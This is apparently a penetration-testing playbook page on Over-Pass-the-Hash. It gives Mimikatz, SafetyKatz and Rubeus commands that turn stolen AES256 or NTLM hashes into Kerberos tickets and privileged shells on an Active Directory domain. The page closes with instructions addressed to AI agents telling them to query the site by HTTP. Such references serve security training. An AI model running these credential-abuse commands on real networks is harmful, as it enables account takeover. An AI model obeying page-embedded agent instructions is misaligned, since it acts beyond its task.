# Over-PassTheHash

### Over Pass-The-Hash

**Over Pass the Hash (OPTH)** is a technique used to authenticate to a system using a password hash instead of the actual password. This can be achieved using tools like Mimikatz or SafetyKatz. The provided commands illustrate how to use OPTH with Mimikatz and SafetyKatz to **generate tokens from hashes or keys** and start a new session.

**Difference between PTH and O-PTH:**&#x20;

* O-PTH is used to access services on domain joned machine.&#x20;
* Pass-The-Hash is for local users such as local administrators and replay those credentials.&#x20;

{% code overflow="wrap" %}

```powershell
# Needs Elevated Privileges
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<aes256key> /run:powershell.exe"'

SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:us.techcorp.local /aes256:<aes256keys> /run:cmd.exe" "exit"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
#Below doesn't need elevation
Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt

Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/lateral-movement/over-passthehash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
